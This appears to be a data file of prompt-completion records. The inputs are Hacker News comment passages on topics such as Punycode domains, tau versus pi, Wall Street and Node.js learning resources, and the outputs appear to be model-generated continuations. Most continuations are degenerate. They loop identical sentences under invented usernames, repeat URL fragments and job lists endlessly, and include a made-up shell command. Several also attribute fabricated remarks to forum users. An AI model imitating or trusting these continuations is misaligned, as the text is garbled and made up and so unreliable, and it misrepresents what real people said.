prospect.\n\nNo, sorry, give those $75 million back, if you want to remove the name. Don't\nbe a hypocrite.\n\nMy unrequitted wish is that one day SF gets a new city charter made for adults\nwith kids in mind. These supes always, always look for the lamest things to\nhang their hats on and boast what a wonderful job they are doing. You got\nneedles, you got homeless, you got people who can't afford rent, you have\njobless, drug abuse, infrastructure which needs retrofitting, MUNI, etc., etc.\nlet\u2019s not worry about that. Let\u2019s take a name down!!\n\n \n\nTesting a e1/t1 card before shipping to haiti - aaronzinman\n\nHi friendly HN peoples,

We're shipping a server to Haiti, ideally Friday for an MIT project (konbit.media.mit.edu). It is a voice-based service that interfaces with the public via ordinary telephones. The goal is to make it easier to employ Haitian nationals rather than bringing in foreign contractors (the norm). It is 100% free & open source.

It will be hosed by Digicel, the main telcom down there. We have a Digium telephony card that connects to them via E1 channels. The card can do T1 and J1.

Does anyone have any equipment/T1 lines we can use to test the actual card before shipping it? Once we ship it is will be very difficult and expensive to try to deal with any broken cards.

<obvious>We're in Boston/Cambridge, so you should be too.</obvious>

We're reachable at konbit at"} +{"output_text": "\n\n1\\. You have a project that you want to keep private.\n\n2\\. You want to be able to share it with a few people.\n\n3\\. You want to be able to share it with a few people who are not your\nemployees.\n\n4\\. You want to be able to share it with a few people who are your employees.\n\n5\\. You want to be able to share it with a few people who are not your\nemployees", "input_text": "for-old-projects solution works in some cases, but not really for\nmine. As a contract developer I often have projects that are under active\ndevelopment for a few months and then go into \"maintenance mode\". In this case\nI want separate repos for when maintenance needs to happen. Otherwise that one\nrepo is a mess.\n\nI believe this is the kind of problem that CodePlane solves. And I agree with\nyou that its great to see projects like this present competition and make\nGitHub better in the long run.\n\n~~~\narturadib\nIt's a hack of course, but if the changes are really that occasional, the pain\nis negligible: all you need to do is to commit twice for every project change\n(once for a sub-directory containing the project repo, once for the root\nrepo).\n\nIf a project becomes active again, simply take it out of the master repo and\npush it as a new repo.\n\nIt's really not that bad. But then again, things change if you have\ncollaborators...\n\n------\nzck\nIt's Mercurial, not git, but bitbucket offers unlimited private repositories:\n\n\n------\njamesgeck0\nWhat does the UI actually look like? Is it just the list of repositories? I'd\nbe more likely to spend money if there was a tour, or an example project I\ncould look at, or an annotated example session with the CLI tool.\n\n~~~\nfnando\nYeah, I'm working on it! Just had to do some things first before really\nworking on \"selling the product\".\n\n------\ngrandalf\nThis is a very desirable use case. For those who don't get it, I'd say the\nfollowing:"} +{"output_text": "rD8U)\n\n------\njoshu\nI'm not sure I understand the point of this.\n\n~~~\njoshu\nI think it's a joke.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\n~~~\njoshu\nI think it's a joke.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\n~~~\njoshu\n", "input_text": " a factor of 2? When I later stumbled upon the Tau\nManifesto, it felt like a lot of things fell into place. And by that time, I\nhad also studied calculus and had a familiarity with the kinds of things that\nhappen in formulas which relate lengths and areas, so the discussion of the\ncircle area formula resonated as well.\n\nDespite all the cheap dismissals one sees, this feeling of \"woah, that would\nhave actually made sense!\" is a big part of what makes the Tau Manifesto\npopular.\n\n------\nhugs\nI didn't really understand why tau was \"better\" than pi until I understood the\nrelationship to radians. Figure 8 [1] in the Tau Manifesto was the eye-opener\nfor me. With tau, instead of pi, I now have a more intuitive sense of how to\nthink in radians when doing trigonometry.\n\n[1]: [http://www.tauday.com/tau-manifesto#fig-\ntau_angles](http://www.tauday.com/tau-manifesto#fig-tau_angles)\n\n------\njackmaney\n[http://www.thepimanifesto.com/](http://www.thepimanifesto.com/)\n\n~~~\nthomasahle\nI like Terence's suggestion of using 2 _pi_ i as the fundamental constant.\nSqrt(pi) could also be useful given how often it appears.\n\n------\nlkbm\nNumberphile also has a really fun debate on Pi v. Tau:\n[https://www.youtube.com/watch?v=ZPv1UV0rD8U](https://www.youtube.com/watch?v=ZPv1UV0"} +{"output_text": " able to get a few companies to pay for the software, but it's not\nsomething I'd recommend to anyone. It's a lot of work, and it's not a\nsubstitute for a good editor.\n\n~~~\njoshu\nI think you're right. I think the market is for a tool that can do the\nnormalization and sorting for you.\n\n------\njoshu\nI'm not sure what the market is for this. I'm not", "input_text": "Another thing to learn about.\n\n> Figure out what it would cost for them to make it themselves or have someone\n> else to make it for them. If they do a lot of business with you, at some\n> point, a VP or GM is going to look at the amount they are paying you and say\n> 'why are we paying so much for this, we should build it ourselves and reduce\n> cost'. For example, if your feature took you 1 man-year to develop and a\n> customer is buying 20,000 license/year, they are paying $100,000/year. They\n> may figure they can pay someone to build it for them for $100,000 and see an\n> ROI beginning in only one year.\n\nThis would be hard, because health care changes all the time and new words are\nquite literally invented daily. I have largely automated the ingestion and\nfiltration of new words, but it does take a few hours of effort every week to\nkeep on top of it. (At the end of the day, a human has to determine what's\nreal and what isn't. There's a surprising number of typos and misspellings in\npeer-reviewed journals.) So it's not necessarily a set-and-forget, but the\ndata gathering, normalization, and sorting basically is. It would make\nvirtually no sense for even a very large company to develop this internally.\nIn fact, most large companies don't pay for spell check software at all.\n(C.f.: lots of misspellings in peer-reviewed articles.) But there _is_ a\nmarket for it. An EMR company was the first to contact me; I suspect they\ndon't have existing solutions, because the alternatives are $60/seat and up.\n\nI WAS"} +{"output_text": "ake -C /lib/lsb/init-functions\nSIG_DFL' for an example.\n\n~~~\njchw\nI\u2019m not sure if this is the same thing, but I\u2019ve used this to do the same\nthing.\n\n------\njchw\nI\u2019m not sure if this is the same thing, but I\u2019ve used this to do the same\nthing.\n\n[https://github.com/jchw", "input_text": "[1] [https://github.com/bazelbuild/bazel-\nwatcher/pull/144/files](https://github.com/bazelbuild/bazel-\nwatcher/pull/144/files)\n\n[2]\n[https://devblogs.microsoft.com/oldnewthing/20130405-00/?p=47...](https://devblogs.microsoft.com/oldnewthing/20130405-00/?p=4743)\n\n~~~\nneerajsi\nI'm confused by this post, but I'm an ex-dev on the NT kernel.\n\nResumeThread is a well documented API. As is TerminateJobObject. The one thing\nI find a bit baroque is the recently added way to make sure a process is in a\njob on creation, which I believe is part is the ProcThreadAttributes\nmechanism.\n\n~~~\njchw\nYes, ResumeThread is. NtResumeProcess is what I had to use, because Go\nimmediately closes the thread handle.\n\nI\u2019m sure it\u2019s safe to rely on NtResumeProcess. I have used it since XP without\nissue. But I definitely wish there was a better way to go back from a process\nto a thread. The best I could find is using Toolhelp32 to iterate all the\nthreads on the system, which I believe is just wrapping\nNtQuerySystemInformation. Would\u2019ve worked but definitely wasn\u2019t fast.\n\n------\neikenberry\nOn Linux you can also use prctl with PR_SET_PDEATHSIG to set a signal that\nwill be sent to all child processes when the parent dies. This is a syscall\nyou'd need to make from in the program. See'm"} +{"output_text": "mm-f2-ed-if-lens-300mm-f2-ed-if-lens-300mm-f2-ed-if-lens-300mm-f2-ed-\nif-lens-300mm-f2-ed-if-lens-300mm-f2-ed-if-lens-300mm-f2-ed-if-lens-300mm-f2-ed-\nif-lens-300mm-", "input_text": "http://neiloseman.com/barry-lyndon-the-full-story-of-the-\nfam...](http://neiloseman.com/barry-lyndon-the-full-story-of-the-\nfamous-f0-7-lenses/)\n\nOnly ten were made. NASA bought six to send round the dark side of the moon.\nStanley Kubrick bought the other three.\n\n~~~\nfalcrist\nf/0.7 manual focus and no aperture.\n\nThat thing must be a royal PITA to focus...\n\n~~~\npedrocr\nInfinity focus for the moon I'm sure and special rigs for Barry Lyndon\napparently:\n\n[http://neiloseman.com/barry-lyndon-the-full-story-of-the-\nfam...](http://neiloseman.com/barry-lyndon-the-full-story-of-the-\nfamous-f0-7-lenses/)\n\nI also remember reading somewhere the actors had a bad time from having to\nmake sure to stand still to not go out of focus. 4cm of depth of field isn't\nmuch.\n\n~~~\ntwic\nOne of the articles about it mentions that Kubrick directed the scene so that\nthe actors only moved from side to side, so they'd stay in focus.\n\n------\nsumoboy\nOnly $21k, [https://usedphotopro.com/nikon-nikkor-ais-300mm-f2-ed-if-\nlen...](https://usedphotopro.com/nikon-nikkor-ais-300mm-f2-ed-if-\nlens-300"} +{"output_text": " you'll start building it.\n\nI'm not saying this is a good or bad thing, just that it's a thing.\n\n~~~\nsmadge\nI agree with you. I think the point I was trying to make is that there are\nsituations where progressive enhancement is a good idea.\n\n------\njoshu\nI think the author is missing the point.\n\nThe point is that you can't just build a website and expect it to work.", "input_text": " argue\nyour frontend (at least on the item-browsing page) is heavier enough that it\nmay be easier to just build a js-first site to start with.\n\n~~~\nsmadge\nIt all depends on the use case. I'm just trying to refute the parent comment.\nIn some situations, e.g. when you are starting with server side logic and\nrendering, progressive enhancement is actually less effort. You get it for\nfree since all user agents support html. Some applications might justifiably\nstart out as single page applications. Other make more sense using the\nmetaphor of hyperlinked resources.\n\n~~~\nsanderjd\nHere is my own personal experience: You're fighting user expectations by doing\nthings this way. Your users almost unanimously don't care how you architect\nyour application, but they are used to using Facebook, Gmail, Dropbox, AirBnB,\netc. etc. and they will eventually expect and ask you for the same sort of\nexperience, at which point you will put more time into tacking on dynamic\nfeatures to a static application than you would have spent designing a dynamic\napplication to begin with. Then you'll probably end up re-writing the complex\nportions (and eventually all portions, because hybrids suck to maintain) in a\nfront-end framework and pulling out the back-end logic into a convenient API,\nand coming to the conclusion that you would have started that way if you knew\nyou were going to end that way. Then you'll start looking at new applications\nthrough that lens of whether your users will ever want that sort of dynamism,\nand you'll start concluding pretty much every time (because nobody _ever_ asks\nyou to build a blog or publication site) that your users will want that sort\nof thing, so"} +{"output_text": "\nbbrady1992\nI'm not sure if it's a good song to listen to when you're really down. I\nwouldn't say it's a good song to listen to when you're really down.\n\n~~~\nsjclemmy\nI think it's a good song to listen to when you're really down.\n\n------\njoshstrange\nI'm not sure if this is a good idea or not but I'm going to try it out", "input_text": "\n\n------\nSloopJon\nThis is a repost (syndication?) of a blog post at:\n\n[http://blog.revolutionanalytics.com/2017/02/finding-\nradiohea...](http://blog.revolutionanalytics.com/2017/02/finding-radioheads-\nmost-depressing-song-with-r.html)\n\nwhich is a summary of a blog post at:\n\n[http://rcharlie.com/2017-02-16-fitteR-\nhappieR/](http://rcharlie.com/2017-02-16-fitteR-happieR/)\n\nI didn't know that Spotify has an API. I see mention of a rate limit in the\ndocs, but I can't find the actual limit. If I want to sort the tracks from\nalbums released in a given year (say, ten to fifty out of a thousand-album\ncollection) by Spotify popularity, will the limit get in the way?\n\n~~~\ncarlob\nYeah can we please change this to the original blog post at rcharlie.com?\n\n~~~\nbbrady1992\nAgreed. I'm not sure why the original link is necessary at all. It doesn't add\nanything and seems to have been written for no reason other than to write a\nblog post. The author refers to Radiohead's first album as 'Honey Pablo', so\nit doesn't look like he actually paid attention to the original article.\n\n------\nsjclemmy\nTLDR: It's High and Dry.\n\nI could have guessed that. But where is Black Star in the list? That is my go\nto song if I'm really lamenting the state of the world. ;)\n\n~~~"} +{"output_text": "\nI'm not sure I understand this. If you look at the graph, the proportion of\nwomen on boards is pretty constant across the board.\n\n~~~\ntedmiston\nI think the author is referring to the proportion of women on the board of\ncompanies that are later stage.\n\n------\njoshstrange\nI'm not sure I agree with the premise of the article. I think the author is\ntrying to say that the \"startup\" culture", "input_text": " happened, and they were marketed\nexclusively to boys; that's what created and drove the cultural rift.\n\n~~~\nci5er\nThanks for that link. My original sighting of the phenomena used the exact\nsame graph, but made no attempt at being explanatory. I have since then, been\nsearching, but failed to re-find a copy of that graph to stick into my files.\nNow, thanks you you, I have! Thanks!\n\n------\ncodingdave\nState of Venture-backed Startups. Just to be clear. It is a specific subset of\nthe larger startup picture.\n\n~~~\ntedmiston\nThis really depends on your definition of a \"startup\" vs small business,\nlifestyle business, etc.\n\n~~~\ncodingdave\nI guess that is technically true, but if anyone who is NOT a VC is buying into\nthe idea that VC backing is the only valid definition of a startup... you have\ndrunk too much of the kool-aid.\n\n~~~\ntedmiston\nI would say they more just look at it as an easy filter. While there will be\nsome false negatives, you have very few to none false positives i.e., venture-\nbacked companies that turn out to be non-startups but don't close or exit.\n\nThe example that comes to mind that breaks this is the failing startup turned\ndev shop in attempt to revive the startup pattern.\n\n------\ntraviswingo\nOh yeah, startup founders with venture backing aren't biased about this\ntopic...\n\n------\ngnicholas\n> And it only gets less balanced with time. Among respondents' companies, the\n> boards of later-stage startups are almost three times less likely to have a\n> woman on their board.\n"} +{"output_text": "omics.com/](http://loupe.10xgenomics.com/)\n\nWe're looking for:\n\n\\- Software Engineers (C#, .NET, Javascript, React, Angular, AWS, Azure,\nLinux, Docker, Kubernetes)\n\n\\- Software Engineers (C#, .NET, Javascript, React, Angular, AWS, Azure,\nLinux, Docker, Kubernetes)\n\n\\- Software Engineers (C#, .NET, Javascript, React, Angular, AWS, Azure,", "input_text": " you\nrelocate to beautiful Minneapolis, MN.\n\n __If you're interested in seeing any other open positions within our\nMarketing, Product, HR/Recruiting, Customer Success or Operations teams, check\nout our website at:\n[http://www.leadpages.net/careers](http://www.leadpages.net/careers)\n\nInterested in emailing us directly? You can reach us at: Tiffany@Ave81.com or\nMadelon.Deming@Ave81.com\n\nLet\u2019s build something awesome!\n\n------\nkevinwuhoo\n10x Genomics | Pleasanton & San Francisco, CA | Onsite | 10xgenomics.com\n\nWe're a biotech company developing novel software, chemistry, and microfluidic\nsystems to allow better understanding of the genome. We're looking to grow our\nsoftware team of currently six engineers (including myself) to support the\nrapid adoption of our technology. We've seen a growing number of high profile\npublications that use our technology\n([https://www.10xgenomics.com/publications/](https://www.10xgenomics.com/publications/)).\nRecently, in a collaboration with the Program for Conservation Genomics at\nStanford University, the genome of the African wild dog was successfully\nsequenced and assembled for the first time using 10x Genomics' technology and\nsoftware. ([https://cehg.stanford.edu/programs/program-conservation-\ngeno...](https://cehg.stanford.edu/programs/program-conservation-genomics-\npcg/pcg-projects))\n\nYou can view a demo of an existing piece of visualization software at\n[http://loupe.10xgen"} +{"output_text": " it is still a good idea to get some feedback from the community.\n\n------\njoshu\nI've been using node for a while now. I'm not sure what you mean by \"decent\".\n\nI've been using it for a while to build a web app. I've been using it to\nbuild a web app that uses a lot of node.\n\nI've been using it to build a web app that uses a lot of node.\n\nI", "input_text": "\nI also stumbled upon this node project on Github and was learning from how he\nput stuff together: \n\n------\nauganov\nI don't know of any, let alone decent.\n\nI think the best you can do is find some tutorials but even in that department\nthere's nothing to be crazy about.\n\nSo far it looks like the prime way to learn about it is to experiment (well I\nguess that's the best way anyways).\n\nIt would be a good idea to look into some general JavaScript specific stuff if\nyou're not very familiar with it.\n\nOr just download some sample projects from github and look at that during your\nflight, haha.\n\n4 hours is not that much anyways, so you might just as well give up on it.\n\n------\nmcotton\nPeepcode has a great screencast. It is a little dated but you can follow along\nusing older versions of node. This is a good place to start. I am starting to\ndo my own 5-minute screencasts.\n\n\n\n------\nklaut\nSometime ago I came across those two (but haven't started reading them yet):\n, \n\n \nAsk HN: What is your startup idea? - shubhamjain\nHN has plenty of smart folks from variety of industries, backgrounds, and experience who can give valuable feedback and suggestions to a business idea. Even though the community's judgement has proven to be fallible (cue: dropbox launch thread),"} +{"output_text": " the carriers are the ones who\nare preventing the open system from being truly open.\n\n~~~\ndavidk0101\nI'm not saying that it was Google's fault, I'm saying that it was the carriers\nfault. I'm not saying that Google is to blame, I'm saying that the carriers\nare.\n\n~~~\ndemallien\nI'm not saying that Google is to blame either. I'm saying that the carriers\nare.\n\n------\nj", "input_text": " than\ncarrier provided crapware.\n\n~~~\njedbrown\nIf you own your phone, T-mobile smartphone plans are $20/month cheaper. That's\n$480 over a 24-month contract, it doesn't pay to get the subsidized phone.\n(Yeah, unless you get an N1, it's still a branded phone with some crapware,\nbut they will unlock it immediately and you can change your plan at any time.)\n\n~~~\nenjo\nT-mobile, in my experience, is on the right side of almost everything in this\nargument. Of course they probably have to be given their relative size\ncompared to the other big players.\n\nI gave up T-mobile a couple of years ago due to call quality issues here in\nDenver. I'm hoping they've fixed it.\n\n------\ndavidk0101\nDoes Siegler ever make any points or does he always ramble on like this? Is he\nupset that people are buying android based phones or is it that the carriers\nare customizing the os too much and google won't force any strict guidelines?\nThat was the appeal of android from the beginning. Basically anyone could take\nthe os as a starting point and do some cool stuff with it. The fact that the\ncarriers are using their monopoly to force certain conditions on their users\nis not really the fault of whoever produced the os which happens to be google\nin this case.\n\n~~~\ndemallien\nWhere does Seigler say that it was Google's fault? Let me quote: \"Maybe if\nGoogle had their way, the system would be truly open. But they don\u2019t. Sadly,\nthey have to deal with a very big roadblock: the carriers.\"\n\nAt the end of the day, Siegler understands that"} +{"output_text": " own to\npresent.\n\n~~~\ninfinity0\nI'm not sure what you're trying to say. I'm not trying to dress up anecdote as\nevidence. I'm pointing out that the title is stupid and uninformative.\n\n~~~\nEdwardDiego\n> I'm not sure what you're trying to say.\n\nI'm saying that you're being a bit of a dick.\n\n> I'm pointing out that the title is stupid and uninform", "input_text": ".\nmy girlfriend bought the glass. Probably GHB. I actually liked it, I only\nregret not choosing it).\n\nAnd I must say I'd like to try LSD.\n\nYet there's a risk. I've suffered a cerebral stroke 10 years ago, and that\ncondition could raise that risk. I'm aware of it. Anyway, _I_ decide.\n\nProhibition? yes, it's hugely inefficient. We grow as we learn to deal with\nour lives by ourself... Prohibition tries to prevent the society from coping\nwith problems, without avoiding the problems themselves. How is it supposed to\neven work?\n\n------\ninfinity0\n\"Heroin might have helped smokers quit\".\n\n~~~\ninfinity0\nIt's incredible how any anti-drug sentiment touches a nerve of the pro-drugs\ncrowd here. Multiple people were offended enough to go and downvote every one\nof allegory's comments. This is fucking ridiculous and you should be ashamed\nof yourself. You claim that \"we need a debate\" but you react to expressions of\nanti-drug sentiment, by putting up a straw man interpretation and downvoting\nwithout explaining yourself. What the fuck? Your downvote deserves a downvote.\n\nMy original comment is pointing out the title is stupid and uninformative.\n\n~~~\nEdwardDiego\n> Multiple people were offended enough to go and downvote every one of\n> allegory's comments.\n\nI can't downvote, so I'm not one of those who anger you so much, but allegory\nis most likely being downvoted for presenting anecdotes as conclusive evidence\nand dismissively referring to anyone who disagrees with him as having opinions\nlacking experience.\n\nIf we're dressing up anecdote as evidence then I have plenty of my"} +{"output_text": " any documentation on this.\n\n~~~\njwilk\nChrome and Firefox show the Punycode encoding for the URL.\n\n------\njwilk\nI'm not sure why the URL is encoded in Punycode.\n\n~~~\njwilk\nI'm not sure why the URL is encoded in Punycode.\n\n------\njwilk\nI'm not sure why the URL is encoded in Punycode.\n\n------\njwilk", "input_text": "b.se](http://www.sk\u00e5netrafiken.se), but\nlike many it just redirects to an ASCII version. (Does it look weird seeing\n\"Skane\" when you know it ought to be \"Skaane\"?)\n\nSimilarly for a power company, [http://xn--rsted-uua.dk](http://\u00f8rsted.dk),\njust a redirect, but they do use it on adverts and my electricity bill.\n\nSome that don't redirect: [http://xn--mgk--jra.dk/](http://mgk-\u00f8.dk/)\n[https://www.xn---strm-uuae.dk/](https://www.\u00f8-str\u00f8m.dk/) [https://xn--\nmagnusbrth-85a.se/](https://magnusbr\u00e5th.se/)\n\n(HN has converted the displayed URLs to Punycode, presumably as a quick\nsecurity measure without reference to the reasonable characters for each TLD.)\n\n------\nbillpg\nI wanted to make a new website using emojis instead of \"www\" as a joke about\nthe number of syllables. (\"Angry Face Angry Face Angry Face\" takes the same\namount of time to say \"www\".)\n\nBrowsers kept insisting on showing this as xn--b38haa.crankybill.com, so I\nwent with \"grr\" instead.\n\n------\nbanana_giraffe\nInteresting, both Chrome and Firefox seem to show the Punycode encoding after\nI enter the emoji in the URL for me.\n\nDo browsers always show the Punycode encoding, or do they show the encoded\nglyphs only in some scenarios? I can't find"} +{"output_text": " synthesized fossil fuels, would be of little value.\n\n[NB: It has been done, but generally in converting solid fossil fuels to\nliquid, e.g., Germany's coal-to-liquids program during WWII.]\n\n\n\n[http://www.eia.doe.gov/oiaf/ieo/pdf/hubbert.pdf](http://www.eia.doe.gov/oiaf/ieo", "input_text": "fuels and Synfuels are still carbon-based AIUI, but\nTFA is a bit ambiguous here.\n\n------\ndredmorbius\nIn the event anyone thinks that the notion of synfuel generation from nuclear\npower is new... it's not.\n\nM. King Hubbert, who first conceived of (and successfully predicted US) peak\noil suggested this... in 1962:\n\n\"Energy Resources: A Report to the Committe on Natural Resources\"\n\nOn p. 139:\n\n\n\nSynthesis of Chemical Fuels. Automotive vehicles for both highway and air\ntransportation are dependent for their energy supply upon the energy stored\nchemically in the form principally of liquid fuels, and, so far as can now be\nseen, will continue to be so. Heretofore these fuels have been obtained almost\nsolely from the fossil fuels in which the energy was originally stored by\nphotosynthesis. On the other hand, it has long been known to be possible to\nmanufacture simpler but equally useful fuels by means of the schematic\nchemical reaction:\n\nEnergy + CO2 + H20 -> Fuel + O2\n\nThis has not been done because the energy required for the reaction would have\nto be obtained by burning already synthesized fossil fuels.\n\n[NB: It has been done, but generally in converting solid fossil fuels to\nliquid, e.g., Germany's coal-to-liquids program during WWII.]\n\nWith the advent of nuclear energy this situation is drastically changed. Here,\nwith an almost unlimited supply of energy potentially available, it would be a\na comparatively simple matter to synthesize any desireable quantity of liquid\nand gaseous fuels from common inorganic substances such as water and\nlimestone. Were this eventually to be done, our remaining fossil fuels,\ncomprising already"} +{"output_text": " long ago.\n\n------\njoshu\nI think the author is right that the industry is not a meritocracy.\n\nI think the author is wrong that the industry is not a meritocracy.\n\n------\njoshu\nI think the author is right that the industry is not a meritocracy.\n\nI think the author is wrong that the industry is not a meritocracy.\n\n------\njoshu\nI think the author is right that the industry", "input_text": "_ learn\". It's all\nabout the skills the author gained will working in that industry, but what\ngood are those skills for? A critic of Wall Street might think that these\nskills are only \"as value extractors rather than value creators\". Edit: I'd\nrather see a more detailed explanation of how Wall Street creates value in a\npost defending them.\n\n~~~\nleelin\nI agree, the better title seems to be \"Stop Shitting on Wall Street\nEmployees\".\n\nFor the defense of Wall Street, a small start might be the capital marketplace\nargument:\n\n\n\n------\nmotters\nI'm not at all sympathetic to wall street. They relied on bad math and bogus\nassumptions, and ended up ruining a lot of people's lives in the most\nunprofessional manner imaginable, whilst absconding with a huge amount of tax\npayers money which future generations will be paying for.\n\n------\nccamrobertson\nA number of comments have hinted at it, however, I think that the key issue\nwith the article is that it does little to break down Wall St. as a _career_\nas opposed to Wall St. as a mis-regulated _industry_.\n\nI would agree with Ben that many in the startup community focus far too much\nvitriol against the profession of a financier on the Street. There is\nsignificant value in facilitating financial allocation and increasing market\nefficiency.\n\nHowever, given the financial regulatory environment that has not allowed banks\nto fail, I think that it is legitimate to take issue with the fact that Wall\nSt. as an industry is far too large and riddled with players that should have\nbeen washed out"} +{"output_text": " be missing something or this is a joke.\n\nI'm not a huge fan of Google's UI, but I'm not sure how this is any better.\n\n~~~\njoshstrange\nI'm not a huge fan of Google's UI either, but I'm not sure how this is any\nworse.\n\n~~~\nat-fates-hands\nI'm not sure how this is any better either.\n\nI'm not a huge fan of Google's", "input_text": ".\nIf you still have endless love for AZLyrics, fine... click their link. You\nstill have that choice. I'll choose to take advantage of the much cleaner UI\nat Google Play.\n\n------\nrealcul\nNot sure if it is pure innovative thinking or not having to worry about\nregulatory troubles but Bing has been innovating on ideas like this much\nearlier than Google. Irrespective of which company you like, it is always good\nto have competition in any market...keeps the companies on their toes.\n\n------\nextc\nWon't rights owners try to sue Google the same way they whine about lyrics\nsites?\n\n~~~\nsalemh\nThe Rap Genius licensing issue that took until 2014 [1] will be interesting\nwith Google going after this space. Since Rap Genius seemed to get off the\nhook [2] with Google \"easier\" then others.\n\nI imagine Google can offer better terms and/or soft-velvet glove (traffic)\nthen Rap Genius.\n\nI only bring up Rap Genius, because they seem to have taken over (admirable)\nas the foremost lyrics site.\n\n[1] [http://www.nytimes.com/2014/05/07/business/media/rap-\ngenius-...](http://www.nytimes.com/2014/05/07/business/media/rap-genius-\nwebsite-agrees-to-license-with-music-publishers.html)\n\n[2]\n[https://news.ycombinator.com/item?id=6957463](https://news.ycombinator.com/item?id=6957463)\n\n------\nat-fates-hands\nI must either"} +{"output_text": " or are things that happen to people who are not the typical\nconsumer/user.\n\n~~~\npron\nI agree, but I think the point is that the regulations that are bad for the\nconsumer are the ones that are _not_ enforced, and the ones that are enforced\nare the ones that are good for the consumer.\n\n------\njoshuaheard\nI think the author is missing the point. The problem is not that the\ngovernment is regulating the market", "input_text": " that manages their health insurance, and as a result there's little\npublic support.\n\n~~~\npron\nExactly, but I'd phrase it a bit differently: when it comes to taxis and\napartments, regulations are bad for _you_, the consumer, and good for the\npeople in your community (taxi drivers, neighbors), while in insurance,\nregulations directly protect the consumer.\n\nBecause people (especially in the US) couldn't care less about other people,\nregulation that annoys consumers is \"bad\", and the consumers then defend the\ncompanies breaking those particular laws. Those companies exploit the fact\nthat in _every_ industry, consumers always outnumber providers (or conversely,\nevery person consumes from many more industries than those where they\nprovide), and so the disregard for this kind of regulation will always work.\nEvery new company will get consumers to gang up on the far fewer incumbent\nproviders until they break the regulation that protects them, and so on,\nindustry by industry.\n\nIt's a little like the robber barons, who used every new wave of immigrants to\nbeat up the previous generation of immigrants who tried to unionize, and then\nhired the new ones in their place... that is, until the next wave of\nimmigrants. Except the new way of doing this is far more effective, because\nit's always easy to obtain a majority that supports you _and_ feel like\nthey're doing the right thing at the same time.\n\n~~~\nlazerwalker\nFor the most part I think you're spot-on, although it's worth emphasizing the\nnuance that not ALL taxi/hotel regulations are bad for the consumer.\n\nMost of the AirBnB and Uber horror stories you hear are things that don't\nhappen,"} +{"output_text": " is spent on dependencies that are not worth the effort.\n\n~~~\njancsika\nI'm not sure if this is a good idea.\n\nI'm not sure if it's a good idea to have a team that is so focused on\nminimizing dependencies.\n\nI'm not sure if it's a good idea to have a team that is so focused on\nminimizing dependencies.\n\nI'm not sure if it's a good idea to have a", "input_text": " reporting is for the version triplet { module version,\nperl version, OS version }. I really wish NPM did the same.\n\nHere's an example:\n[http://deps.cpantesters.org/?module=DBD::mysql](http://deps.cpantesters.org/?module=DBD::mysql)\n\n~~~\nSomeHacker44\nMy opinion...\n\nThat implies too much faith in tests. Tests are no better or worse than any\nother code. In fact, writing good tests is an art and most people cannot think\nabout every corner case and don\u2019t write tests that cover every code path.\n\nSo, unless you audit the tests they add no practical additional layer of\ntrust, IMO, to just using the \u201cpackage\u201d with or without tests.\n\n~~~\nnobody271\nMany times I've had the most use for a test that didn't fit into the\nconventional unit test format but I didn't try to get it approved because I\ndidn't want to get into a dogmatic argument about what a test should or\nshouldn't be. A lot of what I worry about doesn't get tested well using unit\ntests.\n\n~~~\nwoolvalley\nWhy not call it an integration or e2e test and be done with it?\n\n------\njancsika\nModest proposal: do the opposite of everything suggested in this article.\nAfter all, if you spend all your time inspecting your dependencies, what was\nthe point of even having them in the first place?\n\nThis will ensure that maximum time possible is spent implementing new\nfeatures. _Everyone_ on your team can pitch in to accelerate this goal. Even\nnon-technical outsiders can give valuable feedback. At the same time, this\nensures minimum time"} +{"output_text": " the only\nstandard.\n\n~~~\nSantosh83\nI know, but I think the point is that the C standard library is not just a\nsubset of the C standard. It's a subset of the C standard that is used by\neveryone.\n\n~~~\npjmlp\nIt is, but it is also a subset of the C standard that is used by everyone\nexcept the ones that don't care about standards.\n\n------\njokoon", "input_text": "I boundary\nbecause the information simply isn't there. And I'm not sure assurances in\nlibraries used by unsafe languages are really that valuable - it'd be like\nlocking your back door and leaving your front door open. Better to make a\nclean break.\n\n------\nminitech\nMinimalism comes in many forms. Here, we see an example of a content-free\narticle.\n\n> fun aside, name and service are both const char* so I find it funny that\n> they are set in the program, I do understand that from the callers\n> perspective they don't change, but still bad form\n\n\u2026 are you sure you know enough C to do this?\n\n------\nMichaelBurge\nI know that it's used for more than just C programs, but it still seems a\nlittle perverse to rewrite the C standard library in something other than C.\nImagine if someone had a preference for writing his Python libraries in Perl\nthat emitted Python bytecode. Or if C++'s Boost was the output of a Haskell\nprogram.\n\n~~~\nSantosh83\nI get what you mean, but I guess calling it the \"C Standard Library\" is really\na historical holdover from times when the entire system was written only in C\n(with the exception of a smattering of assembly). In the current context it\nshould probably be called the \"System Standard Library\" and when you consider\nit like that, a system standard library in another language isn't all that\nweird. They all compile down to machine code anyway, so the Python-Perl\nanalogy doesn't quite match.\n\n~~~\npjmlp\nUNIX is the C runtime, kid of.\n\nThey just didn't want to force it into other OSes when ANSI C was"} +{"output_text": "http://www.sitepoint.com/understanding-html-semantics-\nhtml-s...](http://www.sitepoint.com/understanding-html-semantics-html-semantic-\ncss/)\n\n~~~\njasim\nI agree with you. I am not against classnames. I am against the idea that\nclassnames are the only way to do semantics.\n\nI am also not against the idea of using classnames to do", "input_text": "\njasim\nThe concept of'semantic classnames', even if propagated by w3.org has caused\nas much grief as the concept of'separation of concerns' between HTML & CSS\nfad. The reason we need semantics in HTML is to make the markup accessible for\nscreen-readers, and no screenreader considers the class name of an element\nwhen reading it out. What we instead need are semantic tags like article,\nsection etc. and aria tags like role.\n\nCSS classnames are purely for the developer's benefit. Not the user's. And as\ndevelopers, forcing ourselves to find semantic meaning for every element we\nwrite leads us to component-oriented CSS like BEM. Which is a fine thing, but\nwe can also use purely visual classes - like `bg-red bold border-solid` if it\nhelps (and it does. check out tachyons.io)\n\nThe class names of elements in Google's homepage for example reads like\n'tsf-p', `oq`, `gsb` etc. I suspect these are machine generated. Same with\nFacebook. One of the best libraries to do this currently is styled-components\n([https://github.com/styled-components/styled-\ncomponents](https://github.com/styled-components/styled-components)).\n\nConsider reading [http://nicolasgallagher.com/about-html-semantics-front-\nend-a...](http://nicolasgallagher.com/about-html-semantics-front-end-\narchitecture/), [http://mrmrs.io/writing/2016/03/24/scalable-\ncss/](http://mrmrs.io/writing/2016/03/24/scalable-css/), and\n["} +{"output_text": " to other tech companies are also misleading.\n\nGoogle's P/E is higher than Amazon, Apple, and Microsoft.\n\n~~~\njoezydeco\nI think the point is that Google's P/E is not high enough to justify the\nvaluation.\n\n~~~\nmillstone\nI don't think it's a matter of valuation. It's a matter of the 